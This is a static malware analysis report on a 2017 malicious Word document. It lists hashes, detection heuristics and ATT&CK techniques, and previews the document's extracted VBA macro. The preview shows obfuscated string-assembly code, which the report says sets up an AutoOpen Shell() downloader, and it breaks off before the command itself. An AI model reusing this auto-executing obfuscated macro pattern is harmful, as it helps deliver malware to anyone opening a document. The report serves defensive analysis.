Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c7a37e0fc347366b…

MALICIOUS

Office (OLE)

84.5 KB Created: 2017-10-20 06:49:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: e1bb4ced70c42570bbc50f3450e6460f SHA-1: 06251ea8ab1935aa33dbba8e575df8c83faee7a6 SHA-256: c7a37e0fc347366b49b5bb67354e712f5b2e3887b5b7dfb69ba460ef42432dd2
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing a VBA macro. The macro is triggered by the AutoOpen function and uses the Shell() function to execute arbitrary commands. This indicates an attempt to download and execute a second-stage payload. The specific payload or target is not discernible from the provided evidence.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 17715 bytes
SHA-256: 416a9314255a21e30eda7b2a7ba7a70e2206c4bac5ad6857492ad8eceb33964f
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 47 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function CVkLEUthd()
GIVdtwLL = "1EGAaVRtDMzMqtBiwYSkFpNWAXhNMGTzhFkzbJNGAqhWOmJKWSqpAKEcElzDoEjztzilICHpLMjPHqIOOXrtPdzXAIvqKKSwJkdOHYBULBinapUNckpRNnhQzHkzHQfAunFWNtHqVWhNwLwLniNZVAjVDMOznBNvWitnjzzjdwvqFTRo9BCXIQDZ"
FDTlPkOjqFz = Mid(GIVdtwLL, 4, 173)
qjjNisBh = FDTlPkOjqFz
bGibjB = "JAP8650I7UNTGNT0L6flYviQXQORPqizCMBfwoWtfpwRwkOhRzStObBdJnNTioDdqfYnmQSOilGiwQRmCjzPXkkbKYWJbDLqmTaSLavAhELdVTisVaRBonFGuzdOuJmfZPvfqzbclziTYHFqtinAmJBzNUXNwhGYRjDGYzCWzoQpFmhnsmUQVmtQNwSVbNfDsJBsDwStbQBzsMuamkVKMpCfmntbhjvlJMzvkpktTboEkvXBCrjrrVrCHWFQFrMvVQofPwqzzcqlBwurPrZpzDtoVuoOjUncOsiUHsmDBlrPiGBIbOAORWwRWzKGQCLJ0G93PFS5D"
uNjHiWzKj = Mid(bGibjB, 19, 297)
HIuZHcpKRJ = uNjHiWzKj
qsjWCS = "JMRKSX77W7IJQ2KLYMYDFftEkTBfHCTJmrUSIcqiivWFsQjvaoPporQwAjziwEMXZB7W3G97PBU8AR8PUAH73"
GwoCuXjXkv = Mid(qsjWCS, 16, 47)
fcWppEBp = GwoCuXjXkv
rzpjvfwisUA = "4TDOA4T44M349HRGUTCWOLTOzkWDMBQzQfMqRSMkZVTrYsUMjYVCirzjlHuMMmaZWfNknddFRNUsrbqHQKTnjOUYjcFJXAYnuuUsijYGuQkQWGrJQnvCSQV1Z6UWNF41Z1M6D5L"
iwpSEM = Mid(rzpjvfwisUA, 21, 97)
RAojiWijOn = iwpSEM
YWYzCQ = "DV8OS5Z1TRGVqul8FF4XUZ"
NRzhrb = Mid(YWYzCQ, 13, 3)
XLHwfzzIh = NRzhrb
YvfGjPzs = "G376IW1OZO3SKjaBpGdHFXzSDJCjZaoaphHjPYjisuSjtMGcHwqCklHwBUzjLQthXTjrZulRWzPLENYrCaYdklqEaKivaCSbBkLafPCNLZflWvrovGiksPzmdcQOQpqTjnJUBwLmXKSLFEhiSpAUYiimnZwC8348H3H"
QpGNMN = Mid(YvfGjPzs, 14, 143)
JihzvUZRi = QpGNMN
YAOMAB = "IUKbOfoNWIPajXFVoLMdJOtfnUTZLruRzHhRtZXMbRkstBfdIwhmFsqwbiotLOCiNwcbpnbPoACsiAmlpqROJILFRlqPldANOFivZDnUUSzEqwRbsCDVznUFmXKEzMdKAodZVqMmCwurKGOSTPWiZiQakZIBsiXHpnECVsFBqRSAtdvfJrliGUQJ9TKXFYFMW17ID6X3IFKSFC6X8"
PFAvFmKajQr = Mid(YAOMAB, 2, 179)
dALZQHRa = PFAvFmKajQr
mXitBkjs = "LPZTF6N6YKEM9AXEipvBfZSKvJBTXaAoIMhuJDoluRzRajEpDGtIGdBQjbTjBDasHpOmEdvfBJHNcAkLELQQjshiLQKhjHkrrEJlUSkaKOHzWooirHcpmJMPHkbnSNwtYQVXqzrlbpGSkkIXccqbfvEisudkrzIzSNYGSQrI9"
MbwFjb = Mid(mXitBkjs, 15, 153)
QWPhUFkXt = MbwFjb
MXWEYIL = "O9UHDQWX0JQIWNUNHPIOJW9HKTNMzsvCDZjVBpCsXINsXjNQHdOqLumEcTzInZvsAXlwPcDhijiAaY66K4VPQL"
OAblXvFiVH = Mid(MXWEYIL, 29, 49)
QwUTdz = OAblXvFiVH
QubazAw = "TKA71XnsILoEKYUhRpjwzGwchlMsPdDCZkwskEVUHBMhqiOiajSbpIuCSLOQFudfHmfabbwMTMqvuRmCXiRjKcMRptaZqFONYjZDzoGzmFHdSzHBYLtbczUfaOkhAXWOzcWOriDiYStEUjwpmZAiLnkbMtdlDYwPjtfpctJqILCJDPLrPuvbWrDKrvBwFSizUiVbDJMsQKWAkbXwimVJdWsspVzhrLkpjDpZujnGhCLMUDZQXFPTWKH8J33MVCZSH"
rDtGIrG = Mid(QubazAw, 7, 238)
KYzicf = rDtGIrG
UltEcCqtEI = "Z16BDMCAM7PRY7XD51407GdwNPPLcjijJHrbfHvUdKJbzNqQfBcUpzDFsOqrDrFHkwfhVuXjOzNidBwAZzfbEKrJEljQREQlFBrwhIuldtFrmUbqQqRELdDaHVckKHRKjbdcKzSQEuzKEzXkJsAbmLabzQrLfKaWbvKLrzjQXBzQjtWHwsaSHqYUABiuIGkuUaiIpMsKMjDlMJuEtjNnjIPkXpKqUlHRQFwFKOSmAQFXnmIrGaAZtzKLLwlABCpabmUGMpufRamTCrzkjSjuliXSukuWT8HJ8M3841"
vMfuSUBGak = Mid(UltEcCqtEI, 23, 261)
ZrZzTfUkNOD = vMfuSUBGak
lifGYLBiijL = "B9BrQqOzDtfWcDLqWUOdLnfwVGuihIAWMBEMkzKphHfwPGInmSazzvufkuVKwkPutIKazwFXKYvEHjhPzGrPiCWQGZbpdztzrlFGvionMCmbzqXENGMpsALqltTZXPuKfwNWbaTPSECjQvRQBWcWmDFqZOVBOOPwHcvAcAcmnzXnwfapcCYAnYXbtWwNFRADpFYnAQoBupjpjRrunfZLqOJjEUHFDPjVwTztHmpLOXGzoiubfCZaspNavojjIizfJNsNTwmBqNzTIMuWZV9JFTADEMZFW"
UudrCWBh = Mid(lifGYLBiijL, 4, 270)
DlDdruT = UudrCWBh
TmLikkui = "0RErqQPdsWiErImcshqtEwNUrzvRAiZjMbQmdlditKjYOvjcJnjWrlifnGzrUzcNzwsPszwHDHzuSoGwSSINvCoazkzXlmOwhSbPCRjJocSjljNwADYBpOSuJRRIG8H8QPN0"
Tmfihtcch = Mid(TmLikkui, 4, 121)
hbPFURj = Tmfihtcch
vbCPBwEjrQ = "8IV4ZLPEXNUTCW98anidQzUvXiwuZPAL"
SALhi = Mid(vbCPBwEjrQ, 17, 12)
jtwukjb = SALhi
iSAfCsYNBb = "ZZwVWzlclhLfBFZhUhlwBwwPbaLjXmvjJmvRsKjsoRwFuCBGmnisfZDQUhuwlEFwmfVOJIoJAtKjAsVYYFukDDAkifwLPkGjMzTOhmwiwZrmOTQbMWXjKUviikjiLdtQmaXBZGrlIPmiLOVOOVztNaYrEkjzGSTUfbAowPCFRERC0ZRPHD7"
vLwwLubJtv = Mid(iSAfCsYNBb, 3, 166)
kbacuzmJ = vLwwLubJtv
DvJEsPzfNT = "JNVPKEZ2C5NMcSkwafvBRCiRfVHTLrJTAATjSuptOCMcuiCzposXwvSioRPPaDHDbaLcwBfjpCmPpCXzSIdXwlSLUL7DV0D1WL2V2AGPLJQ4CRND64
... (truncated)

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